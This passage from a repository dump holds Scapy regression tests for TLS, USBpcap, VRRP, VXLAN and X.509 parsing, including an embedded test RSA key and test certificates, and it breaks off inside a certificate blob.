Appveyor uses an ancient Windows 10 build that doesn't support TLS 1.3 natively.\n\n= Testing TLS client against ssl.SSLContext server with TLS 1.3 and a post-handshake authentication\n~ native_tls13\n\ntest_tls_client_native(post_handshake_auth=True)\n\n= Testing TLS client against ssl.SSLContext server with TLS 1.3 and a Hello-Retry request\n~ native_tls13\n\ntest_tls_client_native(with_hello_retry=True)\n\n# Automaton as Socket tests\n\n+ TLSAutomatonClient socket tests\n~ netaccess needs_root\n\n= Connect to google.com\n\nload_layer(\"tls\")\nload_layer(\"http\")\n\ndef _test_connection():\n    a = TLSClientAutomaton.tlslink(HTTP, server=\"www.google.com\", dport=443,\n                                   server_name=\"www.google.com\", debug=4)\n    pkt = a.sr1(HTTP()/HTTPRequest(Host=\"www.google.com\"),\n                session=TCPSession(app=True), timeout=2, retry=3)\n    a.close()\n    assert pkt\n    assert HTTPResponse in pkt\n    assert b\"</html>\" in pkt[HTTPResponse].load\n\nretry_test(_test_connection)\n"
  },
  {
    "path": "test/scapy/layers/usb.uts",
    "content": "% Scapy USB tests\n\n+ USBpcap tests\n\n= load module\n\nload_layer(\"usb\")\n\n= linklayer test\n\nfrom io import BytesIO\n\ndata = b\"\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\xf9\\x00\\x00\\x00\\xb6\\xaau[B\\xd7\\n\\x00'\\x00\\x00\\x00'\\x00\\x00\\x00\\x1b\\x00\\x008\\xeeM\\n\\x97\\xff\\xff\\x00\\x00\\x00\\x00\\t\\x00\\x01\\x01\\x00\\x04\\x00\\x81\\x01\\x0c\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xbd\\xaau[\\xdc\\x88\\x0c\\x00$\\x00\\x00\\x00$\\x00\\x00\\x00\\x1c\\x000g4K\\n\\x97\\xff\\xff\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x01\\x00\\x05\\x00\\x00\\x02\\x08\\x00\\x00\\x00\\x00\\x80\\x06\\x00\\x01\\x00\\x00\\x12\\x00\\xbd\\xaau[}\\xa7\\x0c\\x00.\\x00\\x00\\x00.\\x00\\x00\\x00\\x1c\\x000g4K\\n\\x97\\xff\\xff\\x00\\x00\\x00\\x00\\x0b\\x00\\x01\\x01\\x00\\x05\\x00\\x00\\x02\\x12\\x00\\x00\\x00\\x01\\x12\\x01\\x10\\x02\\x00\\x00\\x00@^\\x04\\xe8\\x07\\x07\\x02\\x01\\x02\\x00\\x01\\xbd\\xaau[\\x7f\\xa7\\x0c\\x00\\x1c\\x00\\x00\\x00\\x1c\\x00\\x00\\x00\\x1c\\x000g4K\\n\\x97\\xff\\xff\\x00\\x00\\x00\\x00\\x0b\\x00\\x01\\x01\\x00\\x05\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x02\\xbd\\xaau[\\x8d\\xa7\\x0c\\x00$\\x00\\x00\\x00$\\x00\\x00\\x00\\x1c\\x00\\x10\\xe0\\x98J\\n\\x97\\xff\\xff\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x01\\x00\\x05\\x00\\x00\\x02\\x08\\x00\\x00\\x00\\x00\\x80\\x06\\x00\\x02\\x00\\x00\\t\\x00\"\npcap = rdpcap(BytesIO(data))\n\npkt1 = USBpcap(function=9, info=1, endpoint=129, res=0, transfer=1, usbd_status=0, dataLength=12, bus=1, device=4, irpId=18446628669245765632, headerLen=27)/Raw(load=b'\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nassert raw(pcap[0]) == raw(pkt1)\nassert isinstance(pcap[0], USBpcap)\n\npkt2 = USBpcap(function=11, info=0, endpoint=0, res=0, transfer=2, usbd_status=0, dataLength=8, bus=1, device=5, irpId=18446628669200033584, headerLen=28)/USBpcapTransferControl(stage=0)/Raw(load=b'\\x80\\x06\\x00\\x01\\x00\\x00\\x12\\x00')\nassert raw(pcap[1]) == raw(pkt2)\nassert USBpcap in pcap[1]\nassert USBpcapTransferControl in pcap[1]\n\n= USBpcapTransferIsochronous\n\npkt = USBpcap(irpId=0x359275, function=0x1235, info=10, bus=35)/USBpcapTransferIsochronous(usbd_status=0x40000000)\nassert raw(pkt) == b\"'\\x00u\\x925\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x005\\x12\\n#\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00@\"\n\n= USBpcapTransferInterrupt\n\npkt = USBpcap(irpId=0x359275, function=0x1235, info=10, bus=35)/USBpcapTransferInterrupt(startFrame=0x40000000, numberOfPackets=0x80000000, errorCount=2)\nassert raw(pkt) == b\"'\\x00u\\x925\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x005\\x12\\n#\\x00\\x00\\x00\\x00\\x01\\x0c\\x00\\x00\\x00\\x00\\x00\\x00@\\x00\\x00\\x00\\x80\\x02\\x00\\x00\\x00\"\n\n= USBpcapTransferControl\n\npkt = USBpcap(irpId=0x359275, function=0x1235, info=10, bus=35)/USBpcapTransferControl(stage=11)\nassert raw(pkt) == b'\\x1c\\x00u\\x925\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x005\\x12\\n#\\x00\\x00\\x00\\x00\\x02\\x01\\x00\\x00\\x00\\x0b'\n"
  },
  {
    "path": "test/scapy/layers/vrrp.uts",
    "content": "% VRRP regression tests for Scapy\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n+ VRRP tests\n\n= VRRP - build\ns = raw(IP()/VRRP())\ns == b'E\\x00\\x00$\\x00\\x01\\x00\\x00@p|g\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01!\\x01d\\x00\\x00\\x01z\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= VRRP - dissection\np = IP(s)\nVRRP in p and p[VRRP].chksum == 0x7afd\n\n= VRRP IPv6 - build\ns6 = raw(IPv6()/VRRPv3())\ns6 == b'`\\x00\\x00\\x00\\x00\\x08p@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x011\\x01d\\x01\\x00dj\\x1f'\n\n= VRRP IPv6 - dissection\np6 = IPv6(s6)\nVRRPv3 in p6 and p6[VRRPv3].chksum == 0x6a1f\n\n= VRRP - chksums\n# VRRPv3\np = Ether(src=\"00:00:5e:00:02:02\",dst=\"01:00:5e:00:00:12\")/IP(src=\"20.0.0.3\", dst=\"224.0.0.18\",ttl=255)/VRRPv3(priority=254,vrid=2,version=3,adv=1,addrlist=[\"20.0.1.2\",\"20.0.1.3\"])\na = Ether(raw(p))\nassert a[VRRPv3].chksum == 0xb25e\n# VRRPv1\np = Ether(src=\"00:00:5e:00:02:02\",dst=\"01:00:5e:00:00:12\")/IP(src=\"20.0.0.3\", dst=\"224.0.0.18\",ttl=255)/VRRP(priority=254,vrid=2,version=1,adv=1,addrlist=[\"20.0.1.2\",\"20.0.1.3\"])\nb = Ether(raw(p))\nassert b[VRRP].chksum == 0xc6f4\n\n= VRRP IPv6 - chksums\n# VRRPv3 IPv6\np = Ether(src=\"00:00:5e:00:02:02\",dst=\"33:33:00:00:00:12\")/IPv6(src=\"2001:db8::1\", dst=\"ff02::12\",hlim=255)/VRRPv3(priority=254,vrid=2,version=3,adv=1,ipcount=2,addrlist=[\"2001:db8::2\",\"2001:db8::3\"])\nc = Ether(raw(p))\nassert c[VRRPv3].chksum == 0x481b\n"
  },
  {
    "path": "test/scapy/layers/vxlan.uts",
    "content": "% VXLAN regression tests for Scapy\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n+ VXLAN layer\n\n= Build a VXLAN packet with VNI of 42\nraw(UDP(sport=1024, dport=4789, len=None, chksum=None)/VXLAN(flags=0x08, vni=42)) == b'\\x04\\x00\\x12\\xb5\\x00\\x10\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x2a\\x00'\n\n= Verify VXLAN Ethernet Binding\npkt = VXLAN(raw(VXLAN(vni=23)/Ether(dst=\"11:11:11:11:11:11\", src=\"11:11:11:11:11:11\", type=0x800)))\npkt.flags.NextProtocol and pkt.NextProtocol == 3\n\n= Verify UDP dport overloading\np = Ether(dst=\"11:11:11:11:11:11\", src=\"22:22:22:22:22:22\")\np /= IP(src=\"1.1.1.1\", dst=\"2.2.2.2\") / UDP(sport=1111)\np /= VXLAN(flags=0xC, vni=42, NextProtocol=0) / Ether() / IP()\np = Ether(raw(p))\nassert p[UDP].dport == 4789\nassert p[Ether:2].type == 0x800\n\n= Build a VXLAN packet with next protocol field\np = Ether(dst=\"11:11:11:11:11:11\", src=\"22:22:22:22:22:22\")\np /= IP(src=\"1.1.1.1\", dst=\"2.2.2.2\") / UDP(sport=1111)\np /= VXLAN(flags=0xC, vni=42, NextProtocol=3) / Ether() / IP()\np = Ether(raw(p))\nassert p[UDP].dport == 4789\nassert p[VXLAN].reserved0 == 0x0\nassert p[VXLAN].NextProtocol == 3\nassert p[Ether:2].type == 0x800\n\n= Build a VXLAN packet with no group policy ID\np = Ether(dst=\"11:11:11:11:11:11\", src=\"22:22:22:22:22:22\")\np /= IP(src=\"1.1.1.1\", dst=\"2.2.2.2\") / UDP(sport=1111)\np /= VXLAN(flags=0xC, vni=42) / Ether() / IP()\np = Ether(raw(p))\nassert p[VXLAN].reserved2 == 0x0\nassert p[VXLAN].gpid is None\nassert p[Ether:2].type == 0x800\n\n= Build a VXLAN packet with group policy ID = 42\np = Ether(dst=\"11:11:11:11:11:11\", src=\"22:22:22:22:22:22\")\np /= IP(src=\"1.1.1.1\", dst=\"2.2.2.2\") / UDP(sport=1111)\np /= VXLAN(flags=0x8C, gpid=42, vni=42) / Ether() / IP()\np = Ether(raw(p))\nassert p[VXLAN].gpid == 42\nassert p[VXLAN].reserved1 is None\nassert p[Ether:2].type == 0x800\n\n= Build a VXLAN packet followed by and IP or IPv6 layer\netherproto = 0x0\nipproto = 0x1\nipv6proto = 0x2\niptest = \"192.168.20.20\"\nipv6test = \"659f:2c23:565:3fab:32d5:bb95:a0ed:2e3b\"\n\nexpkt = UDP() / VXLAN() / IP(dst=iptest) / \"testing\"\nexpkt = UDP(bytes(expkt))\nassert expkt[VXLAN].NextProtocol == ipproto\nassert IP in expkt\nassert expkt[IP].dst == iptest\n\nexpkt = UDP() / VXLAN() / IPv6(dst=ipv6test) / \"testing\"\nexpkt = UDP(bytes(expkt))\nassert expkt[VXLAN].NextProtocol == ipv6proto\nassert IPv6 in expkt\nassert expkt[IPv6].dst == ipv6test\n\nexpkt = UDP() / VXLAN(flags=0x4, NextProtocol=ipproto) / \"0xfffffffffffffffffffffffffffffffffffffffffffff\"\nexpkt = UDP(bytes(expkt))\nassert IP in expkt\n\nexpkt = UDP() / VXLAN(flags=0x4, NextProtocol=ipv6proto) / \"0xfffffffffffffffffffffffffffffffffffffffffffff\"\nexpkt = UDP(bytes(expkt))\nassert IPv6 in expkt\n\nexpkt = UDP() / VXLAN(flags=0x4, NextProtocol=etherproto) / \"0xfffffffffffffffffffffffffffffffffffffffffffff\"\nexpkt = UDP(bytes(expkt))\nassert Ether in expkt\n\n= Dissect VXLAN with no NextProtocol\npkt = VXLAN(b'\\x08\\x00\\x00\\x00\\x00\"H\\x00\\xcaF\\xae\\x10\\xed\\x0f\\x0c\\x00\\x00\\x00\\x00\\x00\\x08\\x06\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x02\\x0c\\x00\\x00\\x00\\x00\\x00\\x7f\\xff\\xff\\xfe\\x11\"3DUf\\x7f\\x00\\x00\\x02')\n\nassert pkt.NextProtocol is None\nassert Ether in pkt\nassert ARP in pkt\n"
  },
  {
    "path": "test/scapy/layers/x509.uts",
    "content": "% Tests for X.509 objects\n# \n# Try me with:\n# bash test/run_tests -t test/x509.uts -F\n\n########### ASN.1 border case #######################################\n\n+ General BER decoding tests\n= Decoding an ASN.1 SEQUENCE with an unknown, high-tag identifier\nfrom scapy.layers.x509 import ASN1P_PRIVSEQ\ns = b'\\xff\\x84\\x92\\xb9\\x86H\\x1e0\\x1c\\x16\\x04BNCH\\x04\\x14\\xb7\\xca\\x01wO\\x9b\\xbaz\\xbb\\xb5\\x92\\x87>T\\xb2\\xc3g\\xc1]\\xfb'\np = ASN1P_PRIVSEQ(s)\n\n\n########### Key class ###############################################\n\n+ Private RSA & ECDSA keys class tests\n= Key class : Importing DER encoded RSA private key\nfrom scapy.layers.x509 import RSAPrivateKey\nk = base64.b64decode('MIIEowIBAAKCAQEAmFdqP+nTEZukS0lLP+yj1gNImsEIf7P2ySTunceYxwkm4VE5QReDbb2L5/HL\\nA9pPmIeQLSq/BgO1meOcbOSJ2YVHQ28MQ56+8Crb6n28iycX4hp0H3AxRAjh0edX+q3yilvYJ4W9\\n/NnIb/wAZwS0oJif/tTkVF77HybAfJde5Eqbp+bCKIvMWnambh9DRUyjrBBZo5dA1o32zpuFBrJd\\nI8dmUpw9gtf0F0Ba8lGZm8Uqc0GyXeXOJUE2u7CiMu3M77BM6ZLLTcow5+bQImkmTL1SGhzwfinM\\nE1e6p3Hm//pDjuJvFaY22k05LgLuyqc59vFiB3Toldz8+AbMNjvzAwIDAQABAoIBAH3KeJZL2hhI\\n/1GXNMaU/PfDgFkgmYbxMA8JKusnm/SFjxAwBGnGI6UjBXpBgpQs2Nqm3ZseF9u8hmCKvGiCEX2G\\nesCo2mSfmSQxD6RBrMTuQ99UXpxzBIscFnM/Zrs8lPBARGzmF2nI3qPxXtex4ABX5o0Cd4NfZlZj\\npj96skUoO8+bd3I4OPUFYFFFuv81LoSQ6Hew0a8xtJXtKkDp9h1jTGGUOc189WACNoBLH0MGeVoS\\nUfc1++RcC3cypUZ8fNP1OO6GBfv06f5oXES4ZbxGYpa+nCfNwb6V2gWbkvaYm7aFn0KWGNZXS1P3\\nOcWv6IWdOmg2CI7MMBLJ0LyWVCECgYEAyMJYw195mvHl8VyxJ3HkxeQaaozWL4qhNQ0Kaw+mzD+j\\nYdkbHb3aBYghsgEDZjnyOVblC7I+4smvAZJLWJaf6sZ5HAw3zmj1ibCkXx7deoRc/QVcOikl3dE/\\nymO0KGJNiGzJZmxbRS3hTokmVPuxSWW4p5oSiMupFHKa18Uv8DECgYEAwkJ7iTOUL6b4e3lQuHQn\\nJbsiQpd+P/bsIPP7kaaHObewfHpfOOtIdtN4asxVFf/PgW5uWmBllqAHZYR14DEYIdL+hdLrdvk5\\nnYQ3YfhOnp+haHUPCdEiXrRZuGXjmMA4V0hL3HPF5ZM8H80fLnN8Pgn2rIC7CZQ46y4PnoV1nXMC\\ngYBBwCUCF8rkDEWa/ximKo8aoNJmAypC98xEa7j1x3KBgnYoHcrbusok9ajTe7F5UZEbZnItmnsu\\nG4/Nm/RBV1OYuNgBb573YzjHl6q93IX9EkzCMXc7NS7JrzaNOopOj6OFAtwTR3m89oHMDu8W9jfi\\nKgaIHdXkJ4+AuugrstE4gQKBgFK0d1/8g7SeA+Cdz84YNaqMt5NeaDPXbsTA23QxUBU0rYDxoKTd\\nFybv9a6SfA83sCLM31K/A8FTNJL2CDGA9WNBL3fOSs2GYg88AVBGpUJHeDK+0748OcPUSPaG+pVI\\nETSn5RRgffq16r0nWYUvSdAn8cuTqw3y+yC1pZS6AU8dAoGBAL5QCi0dTWKN3kf3cXaCAnYiWe4Q\\ng2S+SgLE+F1U4Xws2rqAuSvIiuT5i5+Mqk9ZCGdoReVbAovJFoRqe7Fj9yWM+b1awGjL0bOTtnqx\\n0iljob6uFyhpl1xgW3a3ICJ/ZYLvkgb4IBEteOwWpp37fX57vzhW8EmUV2UX7ve1uNRI')\nx=RSAPrivateKey(k)\n\n= Key class : key version\nx.version == ASN1_INTEGER(0)\n\n= Key class : key modulus\nx.modulus == ASN1_INTEGER(19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163)\n\n= Key class : key public exponent\nx.publicExponent == ASN1_INTEGER(65537)\n\n= Key class : key private exponent\nx.privateExponent == ASN1_INTEGER(15879630313397508329451198152673380989865598204237760057319927734227125481903063742175442230739018051313441697936698689753842471306305671266572085925009572141819112648211571007521954312641597446020984266846581125287547514750428503480880603089110687015181510081018160579576523796170439894692640171752302225125980423560965987469457505107324833137678663960560798216976668670722016960863268272661588745006387723814962668678285659376534048525020951633874488845649968990679414325096323920666486328886913648207836459784281744709948801682209478580185160477801656666089536527545026197569990716720623647770979759861119273292833)\n\n= Key class : key prime1\nx.prime1 == ASN1_INTEGER(140977881300857803928857666115326329496639762170623218602431133528876162476487960230341078724702018316260690172014674492782486113504117653531825010840338251572887403113276393351318549036549656895326851872473595350667293402676143426484331639796163189182788306480699144107905869179435145810212051656274284113969)\n\n= Key class : key prime2\nx.prime2 == ASN1_INTEGER(136413798668820291889092636919077529673097927884427227010121877374504825870002258140616512268521246045642663981036167305976907058413796938050224182519965099316625879807962173794483933183111515251808827349718943344770056106787713032506379905031673992574818291891535689493330517205396872699985860522390496583027)\n\n= Key class : key exponent1\nx.exponent1 == ASN1_INTEGER(46171616708754015342920807261537213121074749458020000367465429453038710215532257783908950878847126373502288079285334594398328912526548076894076506899568491565992572446455658740752572386903609191774044411412991906964352741123956581870694330173563737928488765282233340389888026245745090096745219902501964298369)\n\n= Key class : key exponent2\nx.exponent2 == ASN1_INTEGER(58077388505079936284685944662039782610415160654764308528562806086690474868010482729442634318267235411531220690585030443434512729356878742778542733733189895801341155353491318998637269079682889033003797865508917973141494201620317820971253064836562060222814287812344611566640341960495346782352037479526674026269)\n\n= Key class : key coefficient\nx.coefficient == ASN1_INTEGER(133642091354977099805228515340626956943759840737228695249787077343495440064451558090846230978708992851702164116059746794777336918772240719297253693109788134358485382183551757562334253896010728509892421673776502933574360356472723011839127418477652997263867089539752161307227878233961465798519818890416647361608)\n\n\n########### Cert class ##############################################\n\n+ X509_Cert class tests\n= Cert class : Importing DER encoded X.509 Certificate with RSA public key\nfrom scapy.layers.x509 import X509_Cert\nc = base64.b64decode('MIIFEjCCA/qgAwIBAgIJALRecEPnCQtxMA0GCSqGSIb3DQEBBQUAMIG2MQswCQYDVQQGEwJGUjEO\\nMAwGA1UECBMFUGFyaXMxDjAMBgNVBAcTBVBhcmlzMRcwFQYDVQQKEw5NdXNocm9vbSBDb3JwLjEe\\nMBwGA1UECxMVTXVzaHJvb20gVlBOIFNlcnZpY2VzMSUwIwYDVQQDExxJS0V2MiBYLjUwOSBUZXN0\\nIGNlcnRpZmljYXRlMScwJQYJKoZIhvcNAQkBFhhpa2V2Mi10ZXN0QG11c2hyb29tLmNvcnAwHhcN\\nMDYwNzEzMDczODU5WhcNMjYwMzMwMDczODU5WjCBtjELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBh\\ncmlzMQ4wDAYDVQQHEwVQYXJpczEXMBUGA1UEChMOTXVzaHJvb20gQ29ycC4xHjAcBgNVBAsTFU11\\nc2hyb29tIFZQTiBTZXJ2aWNlczElMCMGA1UEAxMcSUtFdjIgWC41MDkgVGVzdCBjZXJ0aWZpY2F0\\nZTEnMCUGCSqGSIb3DQEJARYYaWtldjItdGVzdEBtdXNocm9vbS5jb3JwMIIBIjANBgkqhkiG9w0B\\nAQEFAAOCAQ8AMIIBCgKCAQEAmFdqP+nTEZukS0lLP+yj1gNImsEIf7P2ySTunceYxwkm4VE5QReD\\nbb2L5/HLA9pPmIeQLSq/BgO1meOcbOSJ2YVHQ28MQ56+8Crb6n28iycX4hp0H3AxRAjh0edX+q3y\\nilvYJ4W9/NnIb/wAZwS0oJif/tTkVF77HybAfJde5Eqbp+bCKIvMWnambh9DRUyjrBBZo5dA1o32\\nzpuFBrJdI8dmUpw9gtf0F0Ba8lGZm8Uqc0GyXeXOJUE2u7CiMu3M77BM6ZLLTcow5+bQImkmTL1S\\nGhzwfinME1e6p3Hm//pDjuJvFaY22k05LgLuyqc59vFiB3Toldz8+AbMNjvzAwIDAQABo4IBHzCC\\nARswHQYDVR0OBBYEFPPYTt6Q9+Zd0s4zzVxWjG+XFDFLMIHrBgNVHSMEgeMwgeCAFPPYTt6Q9+Zd\\n0s4zzVxWjG+XFDFLoYG8pIG5MIG2MQswCQYDVQQGEwJGUjEOMAwGA1UECBMFUGFyaXMxDjAMBgNV\\nBAcTBVBhcmlzMRcwFQYDVQQKEw5NdXNocm9vbSBDb3JwLjEeMBwGA1UECxMVTXVzaHJvb20gVlBO\\nIFNlcnZpY2VzMSUwIwYDVQQDExxJS0V2MiBYLjUwOSBUZXN0IGNlcnRpZmljYXRlMScwJQYJKoZI\\nhvcNAQkBFhhpa2V2Mi10ZXN0QG11c2hyb29tLmNvcnCCCQC0XnBD5wkLcTAMBgNVHRMEBTADAQH/\\nMA0GCSqGSIb3DQEBBQUAA4IBAQA2zt0BvXofiVvHMWlftZCstQaawej1SmxrAfDB4NUM24NsG+UZ\\nI88XA5XM6QolmfyKnNromMLC1+6CaFxjq3jC/qdS7ifalFLQVo7ik/te0z6Olo0RkBNgyagWPX2L\\nR5kHe9RvSDuoPIsbSHMmJA98AZwatbvEhmzMINJNUoHVzhPeHZnIaBgUBg02XULk/ElidO51Rf3g\\nh8dR/kgFQSQT687vs1x9TWD00z0Q2bs2UF3Ob3+NYkEGEo5F9RePQm0mY94CT2xs6WpHo060Fo7f\\nVpAFktMWx1vpu+wsEbQAhgGqV0fCR2QwKDIbTrPW/p9HJtJDYVjYdAFxr3s7V77y')\nx=X509_Cert(c)\n\n= Cert class : Rebuild certificate\nraw(x) == c\n\n= Cert class : Version\ntbs = x.tbsCertificate\ntbs.version == ASN1_INTEGER(2)\n\n= Cert class : Serial\ntbs.serialNumber == ASN1_INTEGER(0xb45e7043e7090b71)\n\n= Cert class : Signature algorithm (as advertised by TBSCertificate)\nfrom scapy.layers.x509 import X509_AlgorithmIdentifier\nassert type(tbs.signature) is X509_AlgorithmIdentifier\ntbs.signature.algorithm == ASN1_OID(\"sha1-with-rsa-signature\")\n\n= Cert class : Issuer structure\nfrom scapy.layers.x509 import X509_AttributeTypeAndValue\nfrom scapy.layers.x509 import X509_RDN\nassert type(tbs.issuer) is list\nassert len(tbs.issuer) == 7\nassert type(tbs.issuer[0]) is X509_RDN\nassert type(tbs.issuer[0].rdn) is list\nassert type(tbs.issuer[0].rdn[0]) is X509_AttributeTypeAndValue\n\n= Cert class : Issuer first attribute\ntbs.issuer[0].rdn[0].type == ASN1_OID(\"countryName\") and tbs.issuer[0].rdn[0].value == ASN1_PRINTABLE_STRING(b\"FR\")\n\n= Cert class : Issuer string\ntbs.get_issuer_str() == '/C=FR/ST=Paris/L=Paris/O=Mushroom Corp./OU=Mushroom VPN Services/CN=IKEv2 X.509 Test certificate/emailAddress=ikev2-test@mushroom.corp'\n\n= Cert class : Validity\nfrom scapy.layers.x509 import X509_Validity\nassert type(tbs.validity) is X509_Validity\ntbs.validity.not_before == ASN1_UTC_TIME(\"060713073859Z\") and tbs.validity.not_after == ASN1_UTC_TIME(\"260330073859Z\")\n\n= Cert class : Subject structure\nassert type(tbs.subject) is list\nassert len(tbs.subject) == 7\nassert type(tbs.subject[0]) is X509_RDN\nassert type(tbs.subject[0].rdn) is list\nassert type(tbs.subject[0].rdn[0]) is X509_AttributeTypeAndValue\n\n= Cert class : Subject last attribute\ntbs.issuer[6].rdn[0].type == ASN1_OID(\"emailAddress\") and tbs.issuer[6].rdn[0].value == ASN1_IA5_STRING(b\"ikev2-test@mushroom.corp\")\n\n= Cert class : Subject string\ntbs.get_subject_str() == '/C=FR/ST=Paris/L=Paris/O=Mushroom Corp./OU=Mushroom VPN Services/CN=IKEv2 X.509 Test certificate/emailAddress=ikev2-test@mushroom.corp'\n\n= Cert class : SubjectPublicKey algorithm\nfrom scapy.layers.x509 import X509_SubjectPublicKeyInfo\nassert type(tbs.subjectPublicKeyInfo) is X509_SubjectPublicKeyInfo\nspki = tbs.subjectPublicKeyInfo\nspki.signatureAlgorithm.algorithm == ASN1_OID(\"rsaEncryption\")\n\n= Cert class : SubjectPublicKey value\nfrom scapy.layers.x509 import RSAPublicKey\nassert type(spki.subjectPublicKey) is RSAPublicKey\nspki.subjectPublicKey.modulus == ASN1_INTEGER(19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163) and spki.subjectPublicKey.publicExponent == ASN1_INTEGER(65537)\n\n= Cert class : Extensions structure\next = tbs.extensions\nassert type(ext) is list\nassert len(ext) == 3\n\n= Cert class : Subject key identifier extension info\nfrom scapy.layers.x509 import X509_Extension\nassert type(ext[0]) is X509_Extension\next[0].extnID == ASN1_OID(\"subjectKeyIdentifier\") and ext[0].critical == None\n\n= Cert class : Subject key identifier extension value\nfrom scapy.layers.x509 import X509_ExtSubjectKeyIdentifier\nassert type(ext[0].extnValue) is X509_ExtSubjectKeyIdentifier\next[0].extnValue.keyIdentifier == ASN1_STRING(b'\\xf3\\xd8N\\xde\\x90\\xf7\\xe6]\\xd2\\xce3\\xcd\\\\V\\x8co\\x97\\x141K')\n\n= Cert class : Signature algorithm\nfrom scapy.layers.x509 import X509_AlgorithmIdentifier\nassert type(x.signatureAlgorithm) is X509_AlgorithmIdentifier\nx.signatureAlgorithm.algorithm == ASN1_OID(\"sha1-with-rsa-signature\")\n\n= Cert class : Signature value\nx.signatureValue == ASN1_BIT_STRING(b\"6\\xce\\xdd\\x01\\xbdz\\x1f\\x89[\\xc71i_\\xb5\\x90\\xac\\xb5\\x06\\x9a\\xc1\\xe8\\xf5Jlk\\x01\\xf0\\xc1\\xe0\\xd5\\x0c\\xdb\\x83l\\x1b\\xe5\\x19#\\xcf\\x17\\x03\\x95\\xcc\\xe9\\n%\\x99\\xfc\\x8a\\x9c\\xda\\xe8\\x98\\xc2\\xc2\\xd7\\xee\\x82h\\\\c\\xabx\\xc2\\xfe\\xa7R\\xee'\\xda\\x94R\\xd0V\\x8e\\xe2\\x93\\xfb^\\xd3>\\x8e\\x96\\x8d\\x11\\x90\\x13`\\xc9\\xa8\\x16=}\\x8bG\\x99\\x07{\\xd4oH;\\xa8<\\x8b\\x1bHs&$\\x0f|\\x01\\x9c\\x1a\\xb5\\xbb\\xc4\\x86l\\xcc \\xd2MR\\x81\\xd5\\xce\\x13\\xde\\x1d\\x99\\xc8h\\x18\\x14\\x06\\r6]B\\xe4\\xfcIbt\\xeeuE\\xfd\\xe0\\x87\\xc7Q\\xfeH\\x05A$\\x13\\xeb\\xce\\xef\\xb3\\\\}M`\\xf4\\xd3=\\x10\\xd9\\xbb6P]\\xceo\\x7f\\x8dbA\\x06\\x12\\x8eE\\xf5\\x17\\x8fBm&c\\xde\\x02Oll\\xe9jG\\xa3N\\xb4\\x16\\x8e\\xdfV\\x90\\x05\\x92\\xd3\\x16\\xc7[\\xe9\\xbb\\xec,\\x11\\xb4\\x00\\x86\\x01\\xaaWG\\xc2Gd0(2\\x1bN\\xb3\\xd6\\xfe\\x9fG&\\xd2CaX\\xd8t\\x01q\\xaf{;W\\xbe\\xf2\", readable=True)\n\n= Cert class : Default X509_Cert from scratch\nfrom scapy.layers.x509 import X509_Cert\nraw(X509_Cert(raw(X509_Cert()))) == raw(X509_Cert())\n\n= Cert class : Error\ntry:\n    Cert(\"fail\")\nexcept:\n    assert True\nelse:\n    assert False\n\n= Cert class: Import Windows AD certificate\nfrom scapy.layers.x509 import X509_Cert\nc = base64.b64decode('MIIHKjCCBRKgAwIBAgITEgAAAAerpFLcIBwL6QAAAAAABzANBgkqhkiG9w0BAQsFADBHMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFjAUBgoJkiaJk/IsZAEZFgZkb21haW4xFjAUBgNVBAMTDWRvbWFpbi1EQzEtQ0EwHhcNMjQwNDMwMTEyOTA5WhcNMjUwNDMwMTEyOTA5WjAbMRkwFwYDVQQDExBEQzEuZG9tYWluLmxvY2FsMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvTvRYsSLoBJnHA+L62fgLUTN0JmBGONhz4qduRWBcpqOJIivxK2AcPThr8xdVcS5T80vUaT2SIzSvSp2RGdDbBWYGhRpZKkuCGA94PBYowb6aZuWF3RCm3kyySa/hisx4rlly+oERMtjvtgIHFAodu14gtA4YwKDwUwHY2bAE2Btxfsqrmzk8ezGpEB7/wO83zhLbc05ZMD43VwUEmTS5RSE2/1B/6gnO1KeAOrvUD6aiybvWKLNaEKsecsmqay60S+kFGcnXyji/CSv78URaetkJ7mRqPDR5E9DnWjfgAFBOYPoGE/XlV2duo3vBzasYIQtkBZvqeb9n/PkbIKmbQIDAQABo4IDOTCCAzUwLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDAT